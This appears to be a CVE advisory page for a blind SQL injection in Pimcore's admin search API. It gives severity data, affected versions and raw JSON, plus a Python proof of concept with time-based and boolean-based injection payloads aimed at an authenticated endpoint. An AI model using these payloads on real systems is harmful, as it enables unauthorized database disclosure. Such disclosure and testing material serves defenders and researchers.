Security Vulnerability Report
中文
CVE-2026-23492 CVSS 8.8 HIGH

CVE-2026-23492

Published: 2026-01-14 19:16:48
Last Modified: 2026-01-20 21:45:59

Description

Pimcore is an Open Source Data & Experience Management Platform. Prior to 12.3.1 and 11.5.14, an incomplete SQL injection patch in the Admin Search Find API allows an authenticated attacker to perform blind SQL injection. Although CVE-2023-30848 attempted to mitigate SQL injection by removing SQL comments (--) and catching syntax errors, the fix is insufficient. Attackers can still inject SQL payloads that do not rely on comments and infer database information via blind techniques. This vulnerability affects the admin interface and can lead to database information disclosure. This vulnerability is fixed in 12.3.1 and 11.5.14.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:* - VULNERABLE
Pimcore < 12.3.1
Pimcore < 11.5.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # CVE-2026-23492 PoC - Blind SQL Injection in Pimcore Admin Search Find API # Target: Pimcore < 12.3.1 and < 11.5.14 TARGET_URL = "http://target.com/admin/search/find" SESSION_COOKIE = {"pimcore_admin_sid": "your_session_cookie"} def test_blind_sql_injection(): """ Test for blind SQL injection vulnerability in Admin Search Find API. This PoC demonstrates time-based blind SQL injection using SLEEP() function. """ # Normal request baseline normal_payload = {"q": "test"} start_time = time.time() response = requests.post(TARGET_URL, json=normal_payload, cookies=SESSION_COOKIE) normal_time = time.time() - start_time # SQL injection payload - time-based blind injection # This payload will cause a 5-second delay if vulnerable injection_payload = { "q": "test' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '", "_type": "asset" } start_time = time.time() response = requests.post(TARGET_URL, json=injection_payload, cookies=SESSION_COOKIE) injection_time = time.time() - start_time if injection_time > 4.5: # If delay is approximately 5 seconds print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") print(f"[+] Normal response time: {normal_time:.2f}s") print(f"[+] Injection response time: {injection_time:.2f}s") else: print("[-] Vulnerability not detected or target is patched.") def extract_database_version(): """ Extract database version using boolean-based blind SQL injection. """ # Test if database is MySQL for i in range(1, 50): payload = { "q": f"test' AND ASCII(SUBSTRING((SELECT version()),{i},1))>0 AND '", "_type": "asset" } response = requests.post(TARGET_URL, json=payload, cookies=SESSION_COOKIE) # Analyze response to determine character value # This is a simplified example - real PoC would need proper response analysis if response.status_code == 200: print(f"[*] Position {i}: Database version extraction possible") break if __name__ == "__main__": print("[*] CVE-2026-23492 PoC - Pimcore Blind SQL Injection") print("[*] Target: Admin Search Find API") test_blind_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23492", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:48.130", "lastModified": "2026-01-20T21:45:58.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pimcore is an Open Source Data & Experience Management Platform. Prior to 12.3.1 and 11.5.14, an incomplete SQL injection patch in the Admin Search Find API allows an authenticated attacker to perform blind SQL injection. Although CVE-2023-30848 attempted to mitigate SQL injection by removing SQL comments (--) and catching syntax errors, the fix is insufficient. Attackers can still inject SQL payloads that do not rely on comments and infer database information via blind techniques. This vulnerability affects the admin interface and can lead to database information disclosure. This vulnerability is fixed in 12.3.1 and 11.5.14."}, {"lang": "es", "value": "Pimcore es una Plataforma de Gestión de Datos y Experiencias de Código Abierto. Antes de las versiones 12.3.1 y 11.5.14, un parche incompleto de inyección SQL en la API de Búsqueda de Administrador permite a un atacante autenticado realizar una inyección SQL ciega. Aunque CVE-2023-30848 intentó mitigar la inyección SQL eliminando los comentarios SQL (--) y detectando errores de sintaxis, la solución es insuficiente. Los atacantes aún pueden inyectar cargas útiles SQL que no dependen de comentarios e inferir información de la base de datos mediante técnicas ciegas. Esta vulnerabilidad afecta a la interfaz de administración y puede conducir a la revelación de información de la base de datos. Esta vulnerabilidad está corregida en las versiones 12.3.1 y 11.5.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.5.14", "matchCriteriaId": "0B2CDE57-18BF-48B4-A0D7-BA3673CD3016"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.3.1", "matchCriteriaId": "FD4D552C-238D-49EC-8F68-19EC520EAD57"}]}]}], "references": [{"url": "https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-qvr7-7g55-69xj", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}